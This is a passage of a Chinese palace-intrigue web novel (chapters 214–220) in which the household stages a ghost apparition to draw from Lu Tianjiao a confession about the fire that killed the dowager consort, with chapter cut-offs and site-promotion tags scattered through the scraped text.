陆天骄笑了笑,道“张嬷嬷真是太客气了,希望对您的病症能有所帮助才好。”

说话间,俩人已来到了林月轩门前,张嬷嬷忽然止步抬起一手按住额头,脚下踉踉跄跄着似是欲倾倒下去,陆天骄忙上前扶住其身,张嬷嬷无力地喘气,断断续续道“看来…看来…殿下的这碗药汤,老婆子我是没力气侍奉了……”【!!*!最快更新】

“那怎么办?殿下的病情危在旦夕,是断不能停药的啊。”陆天骄问。

“是…殿下的药不能停…看来…只能有劳陆小姐了…你去。”张嬷嬷倚在陆天骄的肩头道。

“我去?可是…这林月轩的侍卫是决不允许旁人跨入半步的啊。”陆天骄一脸无助道。

“走,老婆子我亲自带你进去,他们决不敢阻拦。进去后,我在配殿里歇一会儿,你来照顾殿下。”张嬷嬷话音刚落,似是心一横,一咬牙便跌跌撞撞地往林月轩迈步了去。

陆天骄一手捧着药汤,一脸窃喜地紧随其后追了上去,忙扶住其胳膊。

“张嬷嬷,程将军下令,除了您和乐太医,任何人都不得进去林月轩里。”岂料二人刚上了林月轩的台阶,便被侍卫伸手拦住。

张嬷嬷开口解释道“我老婆子这会子身体极为不适,这位陆小姐是殿下西秦学院的小师妹,也算不得外人,让她陪我一起进去给殿下服药吧。殿下病得很重,可千万不能耽搁了服药的时辰啊。”

“可程将军的军令如山,小的真的不敢让除了您二人以外的旁人进去啊。要不…您……”

侍卫正欲继续往

第二百一十四章:燕栖阁的俩婢女

夜幕之下,到处一片静悄悄的城东秦王府里。

程良与乐太医俩人同坐在僻静的杏林阁院里的石桌边四目相对,眉头紧锁着似是屏住呼吸怔了许久,虽未言明,却各自心中揣着不约而同的疑虑和恐惧。身边到处弥漫着阵阵的淡淡药草香味,似是将俩人身边的一切都凝固住了一般。

半晌后,程良忽然开口道“罢了,无论最终结果如何,既然张嬷嬷如此执着于当年的那场大火绝非意外,且看那陆小姐近年来确实是愈来愈行事诡异且变化莫测,尤其是在殿下大婚后更是满腹心事重重让人难以琢磨。今日又被你二人在其心里事先铺垫了许多。想必,今夜倒也果真不失为一个查明真相的好时机,那就…不妨把当年的事实真相先弄清楚了也好。至少,也算是了了张嬷嬷多年以来的心结……”

未及程良将话讲完,乐太医以为其已同意了他二人今日此举,顿时脸上露出一脸的欣喜来。不想程良又接着补充道“不过,今夜我们只能让她说出事实的真相来。若是…若是那事真与她脱不了干系,至于究竟该如何处置她,必须等殿下清醒之后,只有殿下方才能定夺。毕竟,她是陆贤眼中多年以来的骄傲……”

“唉……”闻此,乐太医缓缓放眼望向了石桌上那个混入了曼陀罗的药罐,发出长长的一声叹息来。

“如此,那就依照你二人之前已经商量好的计策,赶快找人开始部署行动吧,天色也已经不早了。”程良一边说,一边看见杏林阁外侍卫们已经渐渐开始掌灯了,便拖着似是疲惫极了的身子缓缓起身来。

正欲转身夺门离去,身后依旧愣坐着的乐太医忽然回过神来,忙立起身道“将军,还有一事需要请将军帮忙。”

转身后的程良,此时心里似是很期待今夜的真相,又怕知道这真相一般,毕竟那是对他的主子忠心耿耿,而他的主子亦是对其相当依赖的陆贤的女儿。如今,张嬷嬷如此肯定,这万一要是真如她所料,那……程良几乎都不敢再往下面想去。于是,他并未转身过去,只是顿足寥寥两字问道“何事?”

“正所谓‘捉贼捉赃,捉奸捉双’,为保万无一失,让那丫头毫无矢口否认的机会,老夫还需要劳烦将军到陆小姐的住处搜出那些药渣来,还有…人证,如此便算是铁证如山了。”事已至此,乐太医似是也已顾不得那么多了,纵使心里再多不忍,也只能全心尽力地配合张嬷嬷将此事查个水落石出。毕竟,依照现在看来,恐怕这件事所牵连的真正幕后,看似越来越复杂了。

“好。”程良闻之,深深地吸了口气,继而留下只不过一字,便跨过门槛大步离去。

陆天骄在秦王府的住处,是梅汐媛特意帮

其向轩辕翰争取来的一处名唤“燕栖阁”的院落。毕竟,她是陆贤的女儿,轩辕翰自是也不会薄待了她。

以前太妃在世的时候,陆天骄每每来到府里,总是随其一道住在太妃的紫和轩里,形同母女一般。可如今,太妃已然离世多年,其院子虽然每日照旧打理清扫,处处整洁如新,却一直便被空着了。

燕栖阁原本是王府里专门用来供贵客落脚,居住的一极宽敞和雅致的院落,里面亭台水榭,外带独立的小花园,应有具有。入住其内,给人感觉完全似是宾至如归一般。【!¥!¥更好更新更快】

因为距离杏林阁极近,所以十分僻静。

又距离轩辕翰的林月轩和梅汐媛的韶华阁那个院子,其间也不过只隔了两道墙的阻隔,同样十分方便。

此时,梅汐媛处心积虑安插在陆天骄身旁的俩个从东宁国带至秦王府来的陪嫁婢女,正一齐在院子里各处忙着掌灯,

其中一个身形瘦弱,瓜子小脸的婢女忿忿不平地嘀咕着“早知在西秦国秦王府的日子如此凄苦,还不如当初就呆在东宁宫中呢。如今,吃穿什么事都要自己做便也罢了,竟还被赵嬷嬷差过来伺候这个什么学院的小姐,你说就那个乡下土包子丫头,什么世面都没见过。那天,公主让我拿一些陪嫁的精美绢花赠送给她,她先是把绢花当成了真花儿,后来得知后竟说那些都是有毒之物,硬是不敢回拒收下了,却是不敢往发髻上簪,真是笑死我了。难不成,我们堂堂东宁一国之公主,会害她一个乡野丫头不成。你说她究竟算个什么东西啊,竟然让我们来伺候,我们俩那可一生下来就是伺候公主的人啊,如今倒是伺候起她来了…想起来就生气,气的我都想吐血。”

闻此,另一略显稳重的圆脸婢女忙朝周边四下里一环视,嘘声说道“嘘……你呀,好好做你的事即可,不要整日胡乱背后议论别人。赵嬷嬷之前交待的,莫非你都忘记了。‘少说话,多做事’这里是西秦秦王府,不是东宁国皇宫,你莫要逞一时口快,失了言,倒给公主惹了麻烦,公主她现在的处境已经够糟心的了……”

方才怨声连连的瓜子脸婢女闻此,不想竟真的静默了下来,坐在院落一角的石凳上,一手支着下巴,蹙眉不解道“你说我们公主多尊贵的身份啊,那模样也是‘闭月羞花,沉

第二百一十五章:情网

一阵响亮的鼓掌声瞬时响起,打破了整个燕栖阁的宁静。

俩婢女闻声,猛地将身子一扭,急急转头朝发出这阵鼓掌声音的方向望去,待一看清来人只觉顿时脑袋里似是一片空白,身子瞬间僵硬了住。紧接着,一回过神来便赶忙上前去扑通一声双膝跪地,蹙眉垂首着怯怯道“奴婢参见程将军。”

自打这对婢女被赵嬷嬷差使到燕栖阁里来当差服侍陆天骄至今,这个院子整日里除了她俩和陆天骄三人以外,从来没有出现过其他任何人的影子,俩人此时俨然已经被这突然而至的来人惊呆了。更何况,程良方才那掌声…无疑是在向她们表明,她们方才所议论的所有一切…都被他听到了,这可如何是好……

程良带着几名手下一进入拱门来,便兀自环视了一圈院子里周围的廊桥美景,又举头望了眼夜空中的一轮弯弯的浅月,一脸笑意地对正忐忑不安地下跪着的俩人叹道“花前月下,夜静人闲,俩位姑娘如此相聊甚欢,真是好兴致啊!只是……怎么忽然停下来了,继续啊!”

“奴婢不敢,请将军责罚。”俩人依旧不敢抬起头来半分,只瑟瑟发抖着道。

只见程良刹那间露出一脸凶色,狠狠地对其怒斥道“不敢?本将军怎么看你们胆子大的很呢,竟胆敢连这秦王府主子的舌根都嚼起来了。说…是不是想让本将军将你们俩的舌头割下来给府里的这些弟兄们下酒呢?”

话毕,程良便顺势极快速地一把抽出了腰间的佩剑,明晃晃的剑刃直指向那俩名早已如若惊弓之鸟一般的俩婢女眼前。

此情此景,只见俩人顿时忙重重地伏地叩首祈求起来,连连道“将军饶命,将军饶命,奴婢再也不敢了……”

“饶命?果真想要饶命的话,倒也未尝不可,那就如实回答本将军的几个问题,否则,本将军的这把佩剑可是身经百战,削铁如泥的,知道么?”程良的两只眼里满是寒光,一边说着,一边将手中的长剑出其不意,嗖的一下架在了那圆脸婢女的左肩上。

那婢女顿时便被吓得不停地将身子颤抖起来,额角亦开始冒起豆大的汗水,声声直求饶道“知道知道,不管程将军问什么,奴婢都一定知无不言言无不尽。”

“本将军问你,方才你所说的那些话,都是真的么?那陆小姐和你们…和王妃真的欲想要合谋起来对付衣姑娘?王妃真的是因为想要置衣姑娘于死地,方才将她请旨到王府的?而不是因为,王妃是体弱,真的需要一个医女侍候左右?……除此以外,你们东宁国究竟还交给了王妃娘娘什么任务?你是不是都知道?”程良方才来时在暗处听了俩人的交谈,真是顿觉不可思议,大吃了一惊。原来一切的一切【@!*!最快更新】

,真相竟是这样的。见这婢女知道的甚多,或许,她还会知道更多的事情也不可而知呢。

闻此,那圆脸婢女眉头紧蹙,眼睛斜向了身边的瓜子脸婢女朝其凝视了半晌,始终紧紧地咬着牙根。

却忽然,那瓜子脸婢女开了口,直赤裸裸地推托道“你看我做什么,方才的那些话可都是你说的,我可什么都没说,也什么都不知道。”

见其犹犹豫豫,似是又欲言又止起来,程良顿时将手里的剑又从其左肩向着脖颈处逼近了几分,再次抵在她的脖颈厉声催促道“你到底说是不说?这里可是西秦秦王府,不是你们东宁皇宫,就算是王妃娘娘在,那也是秦王殿下说了算。”

此时,圆脸婢女的心里复杂极了,此事事关重大。

若是说了,日后里让梅汐媛知道了她的背叛,她定会死无葬身之地的。可是,如若不说,赵嬷嬷和梅汐媛都去了城南,此时都并不在府里,谁又能为她做主。

不用程良提醒,她亦知道在这个秦王府里,自己只不过是一个如蝼蚁一般极不起眼的女婢,而眼前的人,他可是这王府,乃至整个西秦国里势力最大的秦王面前最信任的人。

他要杀她,亦或让她在这个府里悄声匿迹,不必秦王开口,便是轻而易举的事。

思来想去,她终于似是下定了决心,开口道“奴婢可以将自己知道的一切全都毫无保留地告知程将军,但求程将军千万不能将此事告知王妃娘娘。否则,奴婢一定死定了。”

闻此,程良看着她似是已被说服的眼睛,命令道“来人,将这个丫头带下去,就算把整个燕栖阁翻个底朝天,亦要给本将军搜出那些药渣来。”

“是”一众手下听令上前,押起那名瓜子脸婢女来便急急退了下去。

这时,程良方才再次开口道“本将军答应你,不会将你今夜所说的一切让你的主子知道,你尽管放心说吧。”

于是,婢女一咬牙,心一横,眉头一皱,瞬即又展开来,便开始将自己所知道的一切都对其缓缓如实交代了起来……

而此时,与之仅仅两道墙相隔的另一边林月轩里。

&

第二百一十六章:请君入瓮,瓮中捉鳖(1)

就在陆天骄寸寸相思,满腹情意绵绵终不必再独自隐忍,深情款款地专注于对着病榻上的昏迷之人哭诉衷肠之际,张嬷嬷其实早已起身来随同她的脚步一起从偏殿里悄悄跟到了正寝殿门外,侧耳清清楚楚地听到了她所有的相思苦楚之语。

许久后,见她似是对轩辕翰并无半点不轨之心,便摇了摇头,压低声音无奈地叹了一句“冤孽,真是冤孽啊!”紧接着缓缓踱步走出了林月轩。

林月轩门口,守门的侍卫早已奉命在门口等候着,见张嬷嬷一迈步出来便将手里为其准备着的一盏四角平安富贵灯恭敬地递上。

张嬷嬷伸手一接过来,顺势朝其点头使了个眼色,便径自在其灯火的照耀下朝着平日里除了正常打扫的人之外,已经很久没有人进去的太妃的寝殿紫和轩方向而去。

与此同时,一片寂静的杏林阁里,已依稀听得见些许春暖初醒的鸣虫浅吟声。

乐太医亦已经有条不紊地准备好了一切,这会儿一手捧着小半碗看似浅棕色的糊状物,一手捏着一张白纸,对一侍卫耐心地做着最后的交待“这个是以天南星研成粉末,再拌以醋调制而成之物,你命人将其涂于这张纸上,待会儿到了时辰听命令将其贴于距离林月轩里殿下床榻最近的窗户外面。切记,到时候不管大家听到了什么,亦或看到了什么,一定要交待好林月轩内所有的侍卫,千万都不要惊慌,更不能靠近打扰。”

侍卫听完,将其递过来的一碗糊状物和白纸接过手中里里外外仔细打量了一番,似是毫无头绪,最后只笑道“不就是让林月轩的弟兄们装聋做哑,视而不见听而不闻嘛,放心吧。不过,这怎么听起来神神叨叨的,莫不是…乐太医你也何时学会装神弄鬼起来了?”

乐太医闻之笑了笑,继续拿出一叠起的黄纸道“这个是用明矾二钱,黄苓五分捣成粉末调和而成,所画的一道‘神符’,待到今夜子时,你再端一盆温水与其一起送进去。就跟陆小姐说,这是公主殿下从城南回来时在…城南城隍庙得道高僧处所求得的一道灵符,让她将其铺展开来在水中浸泡片刻,以此圣水在夜里子时之际帮殿下擦拭双目,可保殿下平安渡劫。”【!#……免费阅读】

“‘神符’,乐太医,可真有你的……只是,这道符上怎么什么笔划都看不到呢?”侍卫一边惊着,一边将其快速地接过翻来翻去研究了半天,终是疑惑道。

乐太医依旧笑而不语,半晌后只神秘地说道“此乃‘天机不可泄露’,今夜,是非成败就此一举了。所谓非常时期非常手段,这也是不得已没有办法的事。老夫方才交待你的,你可都要一一仔细地交待下去,千万不要出什么差错了。那可就白费功夫,一切都前

功尽弃了呀。”

“乐太医你就放一百个心吧,兄弟们一定办好今夜这差事。若是没什么其它事的话,在下那便告退了。”

侍卫这话刚一出,乐太医眼睛一斜,这才看到了身边方才自己画符的那张案边放着的一碗清香的茉莉花茶,便急道“对了,还有这碗‘请君入瓮’至关重要的茉莉花茶,里面更是大有玄机。你务必和那盆水及灵符一起送进去给陆小姐。就说…辛苦她今夜替张嬷嬷照顾殿下了,务必亲自看着她将其全部饮尽方可。”

“好的,在下都一一记住了,一切就放心交给在下吧,在下一定不辱使命。”侍卫说着,便将那碗药糊和清香扑鼻的一碗茉莉花茶放入茶盘里,再将那神秘的灵符和白纸折叠整齐了揣入怀间,这才端起茶盘来转身兀自踱步离开了杏林阁。

乐太医出门站在屋檐下的石阶上,一股夜风袭来,将他的白袍翩翩拂起,他一边捋着那撮短须思量着,一边望着侍卫离去的背影,眼睛渐渐眯了起来……

紫和轩里,星光潺潺、婆娑满地、肃穆庄严。

在这片寂寥静籁的院落之中,像是所有的时间都被永远定格停留在了过去的某一时刻似的,唯有丝丝缕缕的檀香烟雾伴随着阵阵清风袅袅升起着,弥漫了整座大殿。

昏暗的烛火下,张嬷嬷刚刚涂粉描眉梳妆完毕,正呆呆地坐在一面菱花镜前,端详着镜中陌生的面孔却熟悉的不能再熟悉的着装。平生第一次,她斗胆取出并换上了她的主子,秦王府太妃生前最喜爱的一套绛紫色宫装。

此时,她努力地把镜中那模糊的影子想象成她的主子,她的一娉一笑,她的一言一语,瞬间源源不断地冲击着她的内心。这一刻,似是她真的变成了记忆中八年前的她似的。

她多么希望太妃还活着,如此,她便不会像现在这般疲惫与孤单,她又是多么希望这八年只不过是一场太长,太不容易清醒过来的梦魇,却也终有清醒过来的那日。

待到那一日,大家都醒来发现,彼此还都好好地活着,那该有多好。她是多想让她亲眼看到,她的儿子如今是多么的出息,多么的英勇神武,他是身经百战,家喻户晓,保家卫国,是西秦国里最受百姓爱戴的人。

可他又是和她一样,那般的孤寂,更比自己多添了一份似是万年的冰冷,如今还缠绵于病榻之上,昏迷不醒……

想着想着,她对着镜中的影子默默地流起泪来。

 

第二百一十七章:请君入瓮,瓮中捉鳖(2)

陆天骄其实亦对此高僧早有所闻,只是从未亲自见过。也正是因此,才会介绍梅汐媛去了那里。

思及此,她蹙眉说道“好吧,既然如此,那我便马上浸泡此符,帮殿下擦拭双目。”

陆天骄忽然右手紧紧地攥起那道无字灵符置于胸前,目光坚定,似是也对它倾注了自己所有的希望。

如今,衣上云已然是死无全尸了,这即便表示她的翰哥哥一定会有回心转意的那一日。等到那时,他们一定会再次回到以前那样快乐相知的岁月。

她从来都不怕与他身旁的女子勾心斗角,斗智斗勇,她只怕她的翰哥哥心里眼里都是别人的影子。

就在方才从小灵儿那里刚得知衣上云已不在世的消息时,她心里浮起的那些深深的恐惧和无助的伤感,在她对着病榻上的轩辕翰进行了一番彻底的哭诉之后,此时此刻竟忽然庆幸和坚定不移地相信起来。

她庆幸自己从小到大是如此了解她的翰哥哥,她庆幸自己将梅汐媛支离了秦王府,她更庆幸聪明的自己做了今天这一切,才使得自己能够成功进入林月轩里来侍奉她无数个日日夜夜里都心心念念着的人,这对她来说,是多么幸福的事啊。

她相信,时光漫漫,终有一日,她一定能将衣上云这个影子从她的翰哥哥心里彻底地驱逐出去,哪怕这将会是她要用尽一生,也终将要完成的唯一最重要的事情。

而此时,她是多么期待着这一天能够早些到来啊。是的,他必须尽快清醒过来,只有这样,她才能早一日走进他的心里。

就在其满怀信心正迫不及待地欲迈步开来奔向那盆热水时,一旁的侍卫忽然伸手将其拦住,道“陆小姐,盆里的水还烫的很呢,公主交待高僧曾一再嘱咐,这灵符一定要温水浸泡方才有效。所以,稍后浸泡灵符为殿下擦拭亦不算迟。小姐您也已经在林月轩熬了大半夜了,瞧这黑眼圈都出来了。不如,您还是自己先吃点东西垫垫吧,如此,后半夜里才会有力气继续服侍殿下呀。”

陆天骄闻言,只忙伸起手来揉了揉自己的双眸,却着实一向都没有半夜里吃东西的习惯,又不好一直驳这侍卫的一片好意,于是,便淡淡地说道“那你就暂且放那儿吧,我现在委实还不饿,待会儿饿了我再拿来吃也不迟。”

侍卫不曾想,这陆天骄一个未出阁的大家闺秀,竟如此不避嫌亦废寝忘食地照顾主子,此时,她对轩辕翰那份执着的心思已在秦王府众人面前昭然若揭。

见她一门心思只放在缠绵于病榻上的人身上,一时无奈,侍卫灵光一闪最后只得端起了那碗其内大有玄机的茶水来,缓缓走到陆天骄面前双手将其奉上,道“如此也好,不过,这碗甚是提神的茉

莉花茶,殿下之前每每熬夜时总喜多饮一些,今夜,不如也请陆小姐尝尝,这茶务必趁热饮下,凉了可就不好了。”

果然,许是说了太久的话,陆天骄此时还真是有些口渴了,然更多的应是闻此乃为轩辕翰喜爱之物,正所谓‘爱屋及乌’于是,她很快便将目光落向了那碗热气袅袅的茶碗上,欣然接过饶有兴致地将其靠近鼻翼闻了闻,后又仔细打量了半晌,方才似是自言自语地含笑说道“这真是翰哥哥喜欢的茶?如此,我还真是有些渴了呢。”

话音刚落,便掩起面来将其缓缓一饮而尽。

至此,侍卫终于如释重负,同方才对乐太医所承诺的,亲眼看着陆天骄将这碗至关重要的茶水全部饮下,这才安心了下来,又悄悄地吐了口气,道“那,在下便告退了。今夜,殿下就有劳陆小姐了。”

“嗯,你下去歇着吧,我会竭力照顾好殿下的。”陆天骄莞尔一笑,淡淡道。

午夜子时,侍卫退去,林月轩里又恢复了一室寂静。【@@为了让病榻上昏睡的人得以更舒适一些,陆天骄翻出一把金色剪刀来,亲自动手将林月轩寝殿里的烛火熄灭了大半,只剩余下寥寥的几盏昏暗之光,随风轻轻摇摆着。其影子照于壁上,看似仿佛就如同是只有在这样漆黑寂静的深夜里,才会现身出来的仙人一般,展示着其翩若惊鸿优美至极的旷世舞姿。

剪完烛火,她静静地立在大殿里朝着周围扫了一眼这恰到好处的柔和光色,似是心中对此气氛颇为满意,不禁脸上浮出一抹极为舒心的好看弧度来。

这时,她忽然瞥见了窗边的那盆水似是热气已然减了不少,便缓缓踱步过去撩起一只衣袖来,伸出一只皙白的青葱玉手优雅地拭了拭水温,顿时一股极为舒适的暖流似是袭遍了她的全身,继而微笑着抿了抿嘴将手收回,自言自语道“这个温度,翰哥哥应该是极喜欢的吧。”

于是,便缓缓从袖中掏出方才侍卫送进来的那道无字灵符来,将其一点一点地缓缓展开拉直,然翻来翻去,始终里里外外,都未曾见到半点字迹亦或笔画。

虽是心中对此也很是纳闷与不解,然出于世人都对城南城隍庙的那位得道高僧几乎痴迷一般的那份深信不疑。她终还是依照侍卫之前所交代的那般,将这道黄符温柔地展平后浮到了面前的那盆温水上。

就在她一脸欣喜,满心期待,全神贯注地浸泡着圣水之时,却忽然觉得眼前的视线忽明忽暗了起来,就连整个身子亦不禁随之微晃了一下差点晕倒,待稍一立定后,她秀眉微蹙着喃喃自语道“莫非是自己真的体力不

第二百一十八章:请君入瓮,瓮中捉鳖(3)

忽然,窗外那未知却似是有几分熟悉的声音再次响起“天骄啊,这八年来,本太妃一个人着实太寂寞了,今夜特意回来看看你。想来这些年里,你也定是噩梦缠身不好过吧。”

闻此,紧紧抱着自己双肩蜷作一团瑟瑟发抖着的陆天骄,口中上下的牙齿一边打着架,一边激动地道“太妃?是太妃?对,就是太妃,方才出现在寝殿里的那个似曾相识的着绛紫色宫装的背影正是太妃娘娘,是太妃娘娘回来了?可她不是已经被城隍庙里的那场漫天大火活活给烧死了么?八年前的那个午夜丑时,天骄永远都不会忘记,那是天骄一辈子的梦魇。那夜城隍庙的后院里万籁俱寂,后来当有人突然发现走水时,那熊熊火焰早已一发不可收拾,根本无法施救,太妃…太妃她怎么可能还活着?况且,临睡前,她服下的那碗张嬷嬷送入的莲子羹里,被我亲手加进去了颇重量的迷药,她根本不可能逃脱的。那此时又怎么会出现在这里…难道是…不可能…不可能…这世上哪里有什么鬼神之说,一定是有人故意在装神弄鬼,一定是!”

待她慢慢一理清楚了头绪,便忙开口大声疾呼起来“来人,来人……”

此时,已在门外久候多时的两名侍卫闻声,在正一手执剑,双臂环于胸前一脸严肃的程良点头默许下,急急推门冲了进去。

那方才送花茶进来的侍卫,进殿一看到蜷缩在案几脚下似是被什么惊吓坏了的正瑟瑟发抖着的陆天骄,忙近身过去屈膝而下将她扶起身来,关切道“陆小姐,陆小姐,你这是怎么了?”

不想陆天骄一见到来人,刚起身竟以迅雷不及掩耳之势嗖的一下伸出两只手来,紧紧地拽住了那正在说话侍卫的臂膀,瞳孔睁的如铜铃一般大,垂首怯怯地斜视着方才那一袭绛紫色宫装出没的地方,嘴里上下的牙齿依旧打着架,战战兢兢道“方才,方才还有没有其他人进入大殿里来,身着一袭绛紫色宫装。”

俩侍卫闻言不禁面面相觑了起来,稍作思量,此刻被陆天骄紧紧拽着的那名侍卫道“其他人?绛紫色宫装?女人?没有啊,这可是殿下的寝殿林月轩啊!以前太妃在世的时候倒是经常出入,但是,太妃如今已经过世都八年了。陆小姐作为王妃娘娘的陪伴和客人,在王府里亦已经留住多时,想必应该知道,咱们秦王府几乎是没有女婢的,哦,当然除了王妃娘娘的陪嫁女婢,但王妃娘娘与殿下大婚后就一直独居在韶华阁里,不经殿下召唤,亦不得踏入林月轩里半步。这次,若不是因为殿下实在病重昏迷甚深,小的们实在没了办法,就连张嬷嬷亦都是进不来的。”

对于侍卫所说,陆天骄心里当然都毫无半点质疑,因为她根本

从小到大都是秦王府的常客。

忽然,她似是又想起了什么,拉起那侍卫便径直朝着窗边走去“你看,你们都过来看,这是方才我用你们送进来的那个什么灵符浸泡的圣水,可是这水上面,这水上面你们看看究竟是什么……”

陆天骄将侍卫拉近于水盆边上,自己却赶忙躲到了侍卫身后去,似是都不敢再多看那水盆一眼,另一侍卫亦一脸匪夷所思地急步跟上前去。

岂料俩侍卫一见到水上漂浮起的渗人画面,先是各自不约而同的双眼顿时一怔一愣,后又抬起头来面面相觑了片刻,继而先被陆天骄拽过来的那侍卫先开了口,却道“这盆水…并无异样啊!这只不过就是一盆普通的不能再普通的温水而已,小的并未看出有任何异样来啊,你说是吧?”

那侍卫说着,朝另一侍卫求证道,另一侍卫亦同样一脸不解地朝陆天骄反问道“小的亦未发现此水有任何不妥,敢问,陆小姐又看出了其中什么玄机呢?”

陆天骄惊讶极了,只见她飞快地从侍卫身后闪身出来,继而用自己一根手指指着那水面,难以置信道“怎么可能?你们难道就没一人看得出这水上面,明明浮着一幅画么?”

侍卫故作一脸狐疑之态道“一幅画?什么画?”

陆天骄大大地吞了一口口水,似是很生气,又似是终于鼓足了勇气,可又瞬间欲言又止道“是一幅…一幅深夜里禅院走水,漫天大火,屋内躺着一位正在熟睡的贵妇人的画。大火之外,院子里的众人皆都手足无措,回天无力。其中,还有一个…一个怯怯地躲在人群之后的小女孩……”

就在陆天骄正投入地宛若身临其境地说着时,水盆边上的窗户忽然又“啪啪啪……”不停地开始像是被人拍打了起来。

陆天骄顿时被吓得踉踉跄跄地连连后退了起来,惊恐地道“你们听,你们听,听到了吗,听到了吗?这下总该听到了吧?一定是她回来了,是她回来了……”

俩侍卫一边面面相觑地听着,看着,口里却依旧道“陆小姐,你是不是熬夜不适应,太困倦了,产生了幻觉呢?这哪里有什么禅院走水的画儿,哪里又有什么声音呢?大半夜里,

第二百一十九章:请君入瓮,瓮中捉鳖(4)

秦王府林月轩寝殿。

伸手不见五指,尽是一片漆黑的窗外,一名侍卫正低低的蹲身于窗前,手里挑着一盏午夜时分显得甚是渗人的绿灯笼,将那阴森森的一道绿光正好映在了张嬷嬷悉心装扮而成的秦王府已故太妃那张惨白的脸上。

八年后,又是同样的一个午夜丑时,夜深人静,阴风习习。

陆天骄猛然抬起头来,顿时被眼前的景象吓得发狂般失魂尖叫了起来“鬼啊……”

紧接着便扑通一声,重重地跌跪在了地上,颤颤巍巍惊慌失措地连连对着窗外作揖叩首求饶道“太妃娘娘,对不起,对不起,太妃娘娘,天骄错了,天骄真的错了,求您放过天骄吧,求求你,求求你了……”

这时,那一脸煞绿,渗人至极的严厉面孔冷冷地发出一缕飘忽之声道“放过你,倒也不是不可以,你且将八年前烧死本太妃的那场大火所发生的前前后后,一字不漏地与本太妃说的清清楚楚,明明白白。否则,这辈子你都将被本太妃的冤魂缠身,终有一日,你亦定会同样惨遭此死不瞑目。”

至此,陆天骄的心理防线终于彻底坍塌“我说,我说,我一定将一切都说的清清楚楚。”

而窗外,张嬷嬷和程良亦都皱紧了眉头,屏气凝神地听了起来“八年前,天骄陪同太妃娘娘奉召入宫面见太后娘娘。请完安后,太妃娘娘便被太后娘娘单独留下来说话,天骄则被宫女带至了后殿里。因一时好奇,又见四周无人,便将案几上的一个极精致的朱红色琉璃花瓶拿起来把玩,不想手一滑却将其给打碎了。天骄正惶恐至极不知所措间,进来了一位面相极其和蔼可亲的老嬷嬷。那老嬷嬷不但没有责怪天骄,还将手里端着的一碗闻起来极香的乳茶给了天骄。”

吸了吸鼻子,她又呜咽着继续幽幽道“午膳过后,太后娘娘同太妃娘娘便相邀一起前往城南城隍庙里为西秦敬天祈福。大约到了傍晚时分,乘着大家都暂且无事歇下了,天骄便偷偷溜去了太后那边寻那老嬷嬷,想请教她那碗乳茶的烹煮之方,想要回来也煮给翰哥哥尝尝。岂料天骄刚好过去的时候,那老嬷嬷正陪着太后在院里纳凉,天骄正欲上前去请安讨教,忽然听到太后说……”

话到关键处,陆天骄忽然吞吞吐吐,欲言又止了起来,垂首跪在地上不禁眼珠子骨碌碌转向四周看了去。就在这时,突闻耳旁震耳欲聋地厉声道“说什么?”

陆天骄受这忽然而至的一声霹雳呵斥,似是本能一般地猛一抬起头,却刚好瞥见了那窗外依旧灵异如初的那张绿脸,正瞪大了眼睛朝自己怒视着,似是此刻恨不得将自己吞下肚去一般。不禁顿感周身的寒毛像是都竖起来了,赶忙低下头去几乎是

一口气道“太后娘娘说皇上不赞同她灭了秦王府。如若这样的话,皇上所有一切的计划都将落空。”

“灭了秦王府?皇上所有一切的计划?……是什么计划?”窗外张嬷嬷假扮的绿脸幽魂转头看了一眼身旁不远处的程良,问道。

处在极度惊恐之下的陆天骄闻此,只拼命地连连摇头,哭泣着道“我不知道,我不知道是什么计划,我真的不知道。我就摸黑躲在门口的红枫树后面,仅仅只不过听到了这一句而已,便被太后娘娘发现,命那老嬷嬷拎了出去。”

无疑,此时窗外听闻了此言的程良和张嬷嬷的心里瞬间都为此而惊呆了。

原来,当年先帝驾崩之后,璟帝继位,太后顺理成章母凭子贵上位。然对此,这个女人不但不满足,还想要先帝仅剩下来的另一子轩辕翰,以及将其整个秦王府全部灭门,使其荡然无存。

这是多么可怕的居心啊,如此,在这个世上,她便可以彻底高枕无忧,永远再也没有后顾之忧了。

当年,若不是太后使诈,将轩辕翰母子支离皇宫,说是什么到太庙里为缠绵于病榻的先帝祈福。其实,根本就是她事先已经从太医那里得知了先帝不日里气数将尽,想要乘机逼迫先帝传位于其子,致使轩辕翰母子甚至就连先帝最后一面都未曾见到。还在回宫的途中险些被刺客所杀,若不是那个即将临盆的妇人及时出现,恐怕这对母子一定是凶多吉少了……

一切的一切,原来尽是这样的。

可是,太后和璟帝是嫡亲嫡亲的母子俩啊,不是本应‘一荣俱荣,一损俱损’么?却为何会对如此重大之事各执己见呢?

秦王府灭门,岂不是应该更合其意吗?可是为什么最后死的却只是太妃一个人。这都八年过去了,轩辕翰不但毫发无伤,反倒是得到了‘一人之下万人之上’的无比尊贵。

璟帝一向疑心颇重,又怎会在如此大事上这般大度量,竟能容下随时都可能威胁到自己至高无上皇权的轩辕翰至今。这其中,又有怎样的隐情呢?

&n

第二百二十章:万般辛苦皆成戏

对于今夜自己亲眼所见,亲耳所闻的这一切,程良始终都难以置信。

此刻立在自己面前,如此一个温婉端庄、聪慧过人、出身名门的千金小姐,竟会是被人当成了‘借刀杀人’的工具?

而他更是想都不敢想,八年前的那场漫天大火除此之外,竟还隐藏着这样一个惊世秘密。

如此说来,17年前先帝去世的那日,他那尚且只不过五六岁的小主人母子俩为了见其最后一面,被迫无奈擅自离开太庙回宫觐见,其途中险遭黑衣蒙面劫匪杀害,那着实并非是为了劫财,而是……

尽管这些年以来,主人也一直怀疑,那伙劫匪极有可能是太庙里的守卫为了阻止他们逃跑所为,但后来皆因疑点重重又再无迹可寻,不得已便都就此作罢,不了了之了。

主人觉得:若是太庙来人只是为了阻止他们逃跑,出师有名又何必要费心乔装蒙面;可若是劫匪劫财,却对金银丝毫都视若无睹;再者,那时委实年龄太小的主人,对于那个似曾在哪里只是在他眼前晃过一次的蒙面人,也实在是记不起究竟在哪里见过。

这样一来,便就都对了,原来这一切竟是这样的。为了那个位置,太后可真是煞费苦心啊……

太可怕了,真的太可怕了。原来这17年以来,宫里的那对母子对秦王府竟是如此虎视眈眈,狼子野心。

可如今,他们已经得到了他们想要的一切,太后之位,天子之尊,他们已经都有了。却为何还不肯放过秦王府呢?可他们为何只对太妃动手,皇上的计划?他的计划……究竟是什么呢……

许久后,只闻程良缓缓道“陆小姐,真是想不到啊。今日这出‘请君入瓮,以其人之道还治其人之身’的大戏,还真是‘瓮中捉鳖’,收获满满啊!”

